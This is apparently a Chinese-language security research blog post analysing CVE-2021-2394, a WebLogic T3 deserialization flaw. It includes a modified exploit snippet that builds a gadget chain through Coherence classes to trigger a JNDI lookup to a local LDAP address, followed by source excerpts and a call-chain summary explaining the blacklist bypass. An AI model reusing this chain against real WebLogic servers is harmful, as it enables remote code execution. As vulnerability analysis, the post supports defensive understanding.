CVE-2021-2394分析

weblogic T3协议的反序列化漏洞,因为这里涉及了weblogic自身的一些链,所以抛去t3协议来分析一下。这里主要的关注点集中在weblogic的反序列化链上。

环境

使用的环境是ismaleiva90/weblogic12的镜像,修改步骤和以前一样,需要开放8453端口,并且修改debugFlag为true,这里和网上给出的有点不一样,建议直接修改setStartupEnv.sh文件而不是修改setDomainEnv.sh文件。

exp使用的是BabyTeam1024的exp,但是这个exp也有点问题,需要做一定的修改。最根本的原因还是TreeMap在添加元素的时候会检测元素类型,估计是对不同版本的jdk兼容没做好。

还有一点需要注意的是,反序列化用的conherence.jar包需要和目标系统一致,不然调试的时候会出现一些奇奇怪怪的问题。

调试

整体调试流程

先把调整好的exp放在这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
System.out.println("[*] Attacking...");
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("test by star");
//jdbc bullet
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
String ldapurl="ldap://127.0.0.1:1234/sadas";
jdbcRowSet.setDataSourceName(ldapurl);

FilterExtractor extractor = new FilterExtractor(accessor);

SortedBag sortedBag = new TopNAggregator.PartialResult();
AttributeHolder attributeHolder = new AttributeHolder();

accessor.setGetMethodName("connect");
accessor.setSetMethodName("setConnection");

//设置treeEntry
TreeMap map=new TreeMap();
map.put(1,new Object());
Object entry=map.entrySet().toArray()[0];

//use template bullet
Reflections.setFieldValue(entry,"key",jdbcRowSet);
//设置m_map
Field m_map=sortedBag.getClass().getSuperclass().getDeclaredField("m_map");
m_map.setAccessible(true);
m_map.set(sortedBag,map);
//sortedBag.add()

Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor);

Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, sortedBag);

启动完weblogic之后就手动运行CVE_2021_2394.java。

  1. 首先进入之后会触发AttributeHolder的反序列化,由于是继承了Externalizable的接口,所以实现的反序列化的是readExternal方法,这里会跟着反序列化m_oValue。

image-20211121180850643

  1. TopNAggregator.PartialResult这里会把一些元素反序列化,调用SortedBag的add方法,并且把元素添加到NavigableMap(这里用的TreeMap)中。

image-20211121181908430

  1. 跟入add方法,我们发现会对map进行一个put的操作,如果是TreeMap的话,每次调用put方法时的时候都会触发compartor。

image-20211121182313664

  1. SortedBag的compare方法中会调用f_comparator的compare方法,这里的FilterExtractor和MethodAttributeAccessor是我们要关注的核心,FilterExtractor的compare方法中会调用一个extract方法,这个方法会反射调用配置好的get方法,从而达成反射调用JdbcRowSetImpl的connect方法。extract方法整体如下:

image-20211121182618091

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object extract(Object obj) {
if (obj instanceof Wrapper) {
obj = ((Wrapper)obj).unwrap();
}

if (!this.attributeAccessor.isInitialized()) {
this.attributeAccessor.initializeAttributes(obj.getClass());
}

try {
return this.attributeAccessor.getAttributeValueFromObject(obj);
} catch (Exception var3) {
return new FilterExtractor.InvalidObject();
}
}
  1. 其中attributeAccessor会初始化比较元素的,并且设置get和set方法,这些被准备好的方法,会在后续的流程中被反射调用get方法,这里的get和set方法有个限制就是,set方法的入参类型要和get方法的返回值类型一致,这点限制了很多反序列化slink点的生效。
1
2
3
4
5
6
7
8
9
10
11
12
13
protected void initializeAttributes(Class theJavaClass, Class[] getParameterTypes) throws DescriptorException {
if (this.getAttributeName() == null) {
throw DescriptorException.attributeNameNotSpecified();
} else {
DescriptorException descriptorException;
try {
this.setGetMethod(Helper.getDeclaredMethod(theJavaClass, this.getGetMethodName(), getParameterTypes));
if (!this.isWriteOnly()) {
this.setSetMethod(Helper.getDeclaredMethod(theJavaClass, this.getSetMethodName(), this.getSetMethodParameterTypes()));
}

}
}
  1. 完成初始化之后会调用getAttributeValueFromObject方法,这个方法最终会调用设置好的Method对象,从而达成反射执行方法的效果。

image-20211121184152759

并最终的connect中触发lookup方法。

image-20211121184239707

调用链小结

1
2
3
4
5
6
7
8
9
10
AttributeHolder->readExternal(TopNAggregator.PartialResult)
TopNAggregator.PartialResult->add(object)
map->put(o)
TreeMap->put(o)->compare(o,o)
FilterExtractor->compare(o,o)
FilterExtractor->extract(o)
MethodAttributeAccessor->getAttributeValueFromObject(o)
Method->invoke(o)
JdbcRowSetImpl->connect()
...lookup()

一个疑问

如何这里在步骤5中设置isWriteOnly为true,那是不是可以跳过设置set方法?如果可以的话,这意味着我们可以使用TemplatesImpl的getOutputProperties方法,这个方法是可以调用任意java代码的。但是事实是不行的。

因为FilterExtractor继承了ExternalizableLite接口,所以它的反序列化流程是走readExternal。

1
2
3
public void readExternal(DataInput in) throws IOException {
this.attributeAccessor = SerializationHelper.readAttributeAccessor(in);
}

这里反序列化attributeAccessor用的是readAttributeAccessor,这里反序列化attributeAccessor时只会设置attributeName,getMethodName和setMethodName,writeOnly不能被反序列化,因此,这个思路不行,也正因为这个方法的存在导致MethodAttributeAccessor可以绕过反序列化中的黑名单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static AttributeAccessor readAttributeAccessor(DataInput in) throws IOException {
int id = ExternalizableHelper.readInt(in);
if (id == 0) {
InstanceVariableAttributeAccessorExtended accessor = new InstanceVariableAttributeAccessorExtended();
accessor.setAttributeName((String)ExternalizableHelper.readObject(in));
return accessor;
} else if (id == 1) {
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName((String)ExternalizableHelper.readObject(in));
accessor.setGetMethodName((String)ExternalizableHelper.readObject(in));
accessor.setSetMethodName((String)ExternalizableHelper.readObject(in));
return accessor;
} else {
return null;
}
}

总结

这个链比较巧妙的地方就在于利用了FilterExtractor的readAttributeAccessor机制来绕过了黑名单对MethodAttributeAccessor的限制。但是也因为这个限制,导致只能使用jndi注入来完成rce。

参考

  1. https://github.com/BabyTeam1024/CVE-2021-2394.git
  2. https://paper.seebug.org/1684/#7